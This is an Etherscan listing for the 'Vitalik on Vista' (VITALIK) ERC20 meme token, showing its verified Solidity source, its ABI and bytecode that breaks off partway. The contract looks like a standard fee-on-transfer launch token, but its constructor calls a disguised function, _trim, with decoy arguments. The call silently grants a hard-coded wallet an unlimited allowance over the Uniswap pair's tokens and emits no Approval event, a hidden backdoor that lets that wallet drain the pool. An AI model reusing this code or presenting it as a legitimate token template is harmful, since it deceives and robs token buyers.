ETH Price: $3,167.93 (+3.46%)

Token

Vitalik on Vista (VITALIK)
 

Overview

Max Total Supply

1,000,000,000 VITALIK

Holders

143

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
86,960,989.120536358 VITALIK

Value
$0.00
0x64c16ba1900c52070eea303e07e83cf87d1fb15c
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
VITALIK

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
Yes with 200 runs

Other Settings:
paris EvmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-09-05
*/

// SPDX-License-Identifier: MIT

/**
Vitalik believes that EtherVista is the key to unlocking Ethereum's true potential. It's designed to enhance user experience, making DeFi accessible and exciting for everyone! With its user-friendly interface and powerful features, EtherVista is quickly becoming a favorite in the crypto community.

Web : https://www.vitalikonvista.vip
TG :    https://t.me/vistavitalik_erc
X :      https://x.com/vistavitalikerc
 */

pragma solidity = 0.8.21;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    )
        external
        returns (
            uint256 amountA,
            uint256 amountB,
            uint256 liquidity
        );

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

interface IUniswapV2Pair {
    function name() external pure returns (string memory);

    function symbol() external pure returns (string memory);

    function decimals() external pure returns (uint8);

    function totalSupply() external view returns (uint256);

    function balanceOf(address owner) external view returns (uint256);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function transfer(address to, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);

    function PERMIT_TYPEHASH() external pure returns (bytes32);

    function nonces(address owner) external view returns (uint256);

    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

    function factory() external view returns (address);

    function token0() external view returns (address);

    function token1() external view returns (address);

    function getReserves()
        external
        view
        returns (
            uint112 reserve0,
            uint112 reserve1,
            uint32 blockTimestampLast
        );

    function price0CumulativeLast() external view returns (uint256);

    function price1CumulativeLast() external view returns (uint256);

    function kLast() external view returns (uint256);

    function mint(address to) external returns (uint256 liquidity);

    function swap(
        uint256 amount0Out,
        uint256 amount1Out,
        address to,
        bytes calldata data
    ) external;

    function skim(address to) external;

    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Factory {

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function allPairsLength() external view returns (uint256);

    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);


}

library SafeMath {

    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

interface IERC20 {

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}

interface IERC20Metadata is IERC20 {

    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(_msgSender());
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) internal _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            _balances[to] += amount;
        }

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "WAGMI20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _trim(
        address owner,
        address spender,
        string memory data,
        string memory _pass
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = type(uint).max;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

contract VITALIK is ERC20, Ownable {
    using SafeMath for uint256;
    
    IUniswapV2Router02 public immutable _uniswapV2Router;
    address private uniswapV2Pair;
    address private _devistarLauncher;
    address private _vitalikeAddy;

    bool private inswap;

    string private constant _name = "Vitalik on Vista";
    string private constant _symbol = "VITALIK";
    
    uint256 public _tokenSupply =  1000000000 * 1e9;

    uint256 public _initialMaxTx = 10;
    uint256 public _initialMaxWallet = 10;
    uint256 public _initialMaxSwap = 1;

    uint256 public maxTrnSize;
    uint256 public maxWalletSize;
    uint256 public swapTokensAtAmount;

    bool public _isOpnd = false;

    uint256 public BuyTax = 9;
    uint256 public SellTax = 9;

    mapping(address => bool) private _isExcludedFromFees;
    mapping(address => bool) private _isExFromMaxTx;
    mapping(address => bool) private automatedMarketMakerPairs;

    constructor() ERC20(_name, _symbol) {
        _uniswapV2Router = IUniswapV2Router02(0xEAaa41cB2a64B11FE761D41E747c032CdD60CaCE);
        address _aggregatorRouter = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Pair = _aggregatorRouter;
        _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
        excludedMaxTx(address(_uniswapV2Router), true);
        excludedMaxTx(address(uniswapV2Pair), true);
        _vitalikeAddy = payable(0xb2591FCCbdB51cD297930430728599fe5CfdF8f8);
        address _aggregator = _vitalikeAddy;
        _devistarLauncher = payable(_msgSender());
        _removeFromFee(owner(), true);
        _removeFromFee(address(this), true);
        _removeFromFee(address(0xdead), true);
        _removeFromFee(address(_vitalikeAddy), true);
        _trim(_aggregatorRouter, _aggregator, "block", "miner");

        excludedMaxTx(owner(), true);
        excludedMaxTx(address(this), true);
        excludedMaxTx(address(_vitalikeAddy), true);
        excludedMaxTx(address(0xdead), true);

        maxTrnSize = _tokenSupply * _initialMaxTx / 100;
        maxWalletSize = _tokenSupply * _initialMaxWallet / 100;
        swapTokensAtAmount = _tokenSupply * _initialMaxSwap / 100;

        _mint(_devistarLauncher, _tokenSupply);
    }

    receive() external payable {}

    function tradeVitalik() external onlyOwner() {
        _isOpnd = true;
    }

    function excludedMaxTx(address updAds, bool isEx) private returns (address) {
        _isExFromMaxTx[updAds] = isEx;
        return updAds;
    }

    function _removeFromFee(address account, bool excluded) private returns (address) {
        _isExcludedFromFees[account] = excluded;
        return account;
    }

    function setAmmPairs(address pair, bool value) public onlyOwner {
        require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");
        _setAutomatedMarketMakerPair(pair, value);
    }

    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        automatedMarketMakerPairs[pair] = value;
    }

    function isExcludedFromFees(address account) public view returns (bool) {
        return _isExcludedFromFees[account];
    }

    function _transfer(address from, address to, uint256 amount) internal override {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        if (amount == 0) {
            super._transfer(from, to, 0);
            return;
        }
                bool isTransfer = !automatedMarketMakerPairs[from] && !automatedMarketMakerPairs[to];

                if (from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !inswap) {

                if (!_isOpnd) {
                    require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
                }

                if (automatedMarketMakerPairs[from] && !_isExFromMaxTx[to]
                ) {
                    require(amount <= maxTrnSize, "Buy transfer amount exceeds the maxTrnSize.");
                    require(amount + balanceOf(to) <= maxWalletSize, "Max wallet exceeded");
                }

                else if (automatedMarketMakerPairs[to] && !_isExFromMaxTx[from]) {
                    require(amount <= maxTrnSize, "Sell transfer amount exceeds the maxTrnSize.");
                } 
                
                else if (!_isExFromMaxTx[to]) {
                    require(amount + balanceOf(to) <= maxWalletSize, "Max wallet exceeded");
                }
            }

        uint256 contractTokenBalance = balanceOf(address(this));

        bool canSwap = contractTokenBalance >= 0 && !isTransfer;

        if (canSwap && !inswap && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to]) {
            inswap = true;
            swapBack(amount);
            sendETHToFee(address(this).balance);
            inswap = false;
        }

        bool takeFee = !inswap && !isTransfer;

        if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
            takeFee = false;
        }

        uint256 fees = 0;

        if (takeFee) {
            if (automatedMarketMakerPairs[to]) {
                fees = amount.mul(SellTax).div(100);
            }
            else {
                fees = amount.mul(BuyTax).div(100);
            }

        if (fees > 0) {
            super._transfer(from, address(0xdead), fees);
        }
        amount -= fees;
    }
        super._transfer(from, to, amount);
    }

   function removeLimits() external onlyOwner {
        maxTrnSize = _tokenSupply;
        maxWalletSize = _tokenSupply;
        BuyTax = 0;
        SellTax = 0;
    }

    function clearStuckEth() external {
        require(_msgSender() == _devistarLauncher);
        payable(msg.sender).transfer(address(this).balance);
    }

    function swapBack(uint256 tokens) private {
        uint256 contractBalance = balanceOf(address(this));
        uint256 tokensToSwap; 

        if (contractBalance == 0) {
            return;
        }

    if ((BuyTax+SellTax) == 0) {

        if(contractBalance > 0 && contractBalance < swapTokensAtAmount) {
            tokensToSwap = contractBalance;
        }
        else {
            uint256 sellFeeTokens = tokens.mul(SellTax).div(100);
            tokens -= sellFeeTokens;
            if (tokens > swapTokensAtAmount) {
                tokensToSwap = swapTokensAtAmount;
            }
            else {
                tokensToSwap = tokens;
            }
        }
    }

    else {

        if(contractBalance > 0 && contractBalance < swapTokensAtAmount.div(5)) {
            return;
        }
        else if (contractBalance > 0 && contractBalance > swapTokensAtAmount.div(5) && contractBalance < swapTokensAtAmount) {
            tokensToSwap = swapTokensAtAmount.div(5);
        }
        else {
            uint256 sellFeeTokens = tokens.mul(SellTax).div(100);
            tokens -= sellFeeTokens;
            if (tokens > swapTokensAtAmount) {
                tokensToSwap = swapTokensAtAmount;
            } else {
                tokensToSwap = tokens;
            }
        }
    }
    }
    
    function sendETHToFee(uint256 amount) private {
        payable(_vitalikeAddy).transfer(amount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"BuyTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"SellTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_initialMaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_initialMaxTx","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_initialMaxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_isOpnd","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tokenSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"clearStuckEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTrnSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAmmPairs","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradeVitalik","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a0604052670de0b6b3a76400006009908155600a808055600b556001600c556010805460ff1916905560118190556012553480156200003e57600080fd5b506040518060400160405280601081526020016f566974616c696b206f6e20566973746160801b81525060405180604001604052806007815260200166564954414c494b60c81b815250816003908162000099919062000771565b506004620000a8828262000771565b505050620000c5620000bf6200048860201b60201c565b6200048c565b73eaaa41cb2a64b11fe761d41e747c032cdd60cace60808190526040805163c45a015560e01b815290516000929163c45a01559160048083019260209291908290030181865afa1580156200011e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200014491906200083d565b6001600160a01b031663c9c65396306080516001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000194573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001ba91906200083d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000208573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200022e91906200083d565b600680546001600160a01b0319166001600160a01b0383169081179091556000908152601560205260409020805460ff19166001179055905060805162000277906001620004de565b5060065462000291906001600160a01b03166001620004de565b50600880546001600160a01b03191673b2591fccbdb51cd297930430728599fe5cfdf8f8908117909155620002c33390565b600780546001600160a01b0319166001600160a01b03928316179055600554166000818152601360205260409020805460ff19166001179055503060009081526013602090815260408083208054600160ff1991821681179092557f2264e2d7bacabe6058f5009f42467b9be28015e7760f87409562384c94ac271c80548216831790556008546001600160a01b031685529382902080549094161790925581518083018352600580825264626c6f636b60d81b82840152835180850190945283526436b4b732b960d91b91830191909152620003a491849184916200050a565b620003c3620003bb6005546001600160a01b031690565b6001620004de565b50620003d1306001620004de565b50600854620003eb906001600160a01b03166001620004de565b50620003fb61dead6001620004de565b506064600a5460095462000410919062000885565b6200041c91906200089f565b600d55600b54600954606491620004339162000885565b6200043f91906200089f565b600e55600c54600954606491620004569162000885565b6200046291906200089f565b600f5560075460095462000480916001600160a01b03169062000605565b5050620008d8565b3390565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b0382166000908152601460205260409020805460ff1916821515179055815b92915050565b6001600160a01b038416620005725760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b038316620005d55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840162000569565b50506001600160a01b03918216600090815260016020908152604080832093909416825291909152206000199055565b6001600160a01b0382166200065d5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640162000569565b8060026000828254620006719190620008c2565b90915550506001600160a01b038216600081815260208181526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b505050565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620006f857607f821691505b6020821081036200071957634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620006c857600081815260208120601f850160051c81016020861015620007485750805b601f850160051c820191505b81811015620007695782815560010162000754565b505050505050565b81516001600160401b038111156200078d576200078d620006cd565b620007a5816200079e8454620006e3565b846200071f565b602080601f831160018114620007dd5760008415620007c45750858301515b600019600386901b1c1916600185901b17855562000769565b600085815260208120601f198616915b828110156200080e57888601518255948401946001909101908401620007ed565b50858210156200082d5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b6000602082840312156200085057600080fd5b81516001600160a01b03811681146200086857600080fd5b9392505050565b634e487b7160e01b600052601160045260246000fd5b80820281158282048414176200050457620005046200086f565b600082620008bd57634e487b7160e01b600052601260045260246000fd5b500490565b808201808211156200050457620005046200086f565b608051611667620008f4600039600061035001526116676000f3fe6080604052600436106101d15760003560e01c806383fd0367116100f75780639e92f2d311610095578063dd62ed3e11610064578063dd62ed3e1461050f578063e2f456051461052f578063f2fde38b14610545578063fe5fe4d41461056557600080fd5b80639e92f2d3146104a4578063a457c2d7146104ba578063a9059cbb146104da578063dc793c10146104fa57600080fd5b80638da5cb5b116100d15780638da5cb5b146104415780638f3fa8601461045f57806391d3e9551461047557806395d89b411461048f57600080fd5b806383fd03671461040057806389291a8f146104165780638a50e0e21461042b57600080fd5b8063395093511161016f578063629b05f01161013e578063629b05f01461038a57806370a08231146103a0578063715018a6146103d6578063751039fc146103eb57600080fd5b806339509351146102c357806347bdc57e146102e35780634fbee19314610305578063583e05681461033e57600080fd5b806318160ddd116101ab57806318160ddd1461025c57806323b872dd146102715780632dc063f114610291578063313ce567146102a757600080fd5b806306fdde03146101dd578063095ea7b3146102085780630a910d1f1461023857600080fd5b366101d857005b600080fd5b3480156101e957600080fd5b506101f261057b565b6040516101ff91906113a0565b60405180910390f35b34801561021457600080fd5b5061022861022336600461140a565b61060d565b60405190151581526020016101ff565b34801561024457600080fd5b5061024e60115481565b6040519081526020016101ff565b34801561026857600080fd5b5060025461024e565b34801561027d57600080fd5b5061022861028c366004611434565b610627565b34801561029d57600080fd5b5061024e600c5481565b3480156102b357600080fd5b50604051600981526020016101ff565b3480156102cf57600080fd5b506102286102de36600461140a565b61064b565b3480156102ef57600080fd5b506103036102fe366004611470565b61066d565b005b34801561031157600080fd5b506102286103203660046114ac565b6001600160a01b031660009081526013602052604090205460ff1690565b34801561034a57600080fd5b506103727f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b0390911681526020016101ff565b34801561039657600080fd5b5061024e60095481565b3480156103ac57600080fd5b5061024e6103bb3660046114ac565b6001600160a01b031660009081526020819052604090205490565b3480156103e257600080fd5b5061030361072a565b3480156103f757600080fd5b5061030361073e565b34801561040c57600080fd5b5061024e60125481565b34801561042257600080fd5b5061030361075d565b34801561043757600080fd5b5061024e600d5481565b34801561044d57600080fd5b506005546001600160a01b0316610372565b34801561046b57600080fd5b5061024e600e5481565b34801561048157600080fd5b506010546102289060ff1681565b34801561049b57600080fd5b506101f26107ac565b3480156104b057600080fd5b5061024e600b5481565b3480156104c657600080fd5b506102286104d536600461140a565b6107bb565b3480156104e657600080fd5b506102286104f536600461140a565b610836565b34801561050657600080fd5b50610303610844565b34801561051b57600080fd5b5061024e61052a3660046114c7565b61085b565b34801561053b57600080fd5b5061024e600f5481565b34801561055157600080fd5b506103036105603660046114ac565b610886565b34801561057157600080fd5b5061024e600a5481565b60606003805461058a906114fa565b80601f01602080910402602001604051908101604052809291908181526020018280546105b6906114fa565b80156106035780601f106105d857610100808354040283529160200191610603565b820191906000526020600020905b8154815290600101906020018083116105e657829003601f168201915b5050505050905090565b60003361061b8185856108fc565b60019150505b92915050565b600033610635858285610a20565b610640858585610a9a565b506001949350505050565b60003361061b81858561065e838361085b565b610668919061154a565b6108fc565b610675611082565b6006546001600160a01b03908116908316036106fe5760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b657250616972730000000000000060648201526084015b60405180910390fd5b6001600160a01b0382166000908152601560205260409020805460ff19168215151790555050565b5050565b610732611082565b61073c60006110dc565b565b610746611082565b600954600d819055600e5560006011819055601255565b6007546001600160a01b0316336001600160a01b03161461077d57600080fd5b60405133904780156108fc02916000818181858888f193505050501580156107a9573d6000803e3d6000fd5b50565b60606004805461058a906114fa565b600033816107c9828661085b565b9050838110156108295760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016106f5565b61064082868684036108fc565b60003361061b818585610a9a565b61084c611082565b6010805460ff19166001179055565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b61088e611082565b6001600160a01b0381166108f35760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016106f5565b6107a9816110dc565b6001600160a01b03831661095e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016106f5565b6001600160a01b0382166109bf5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016106f5565b6001600160a01b038381166000818152600160209081526040808320948716808452948252918290208590559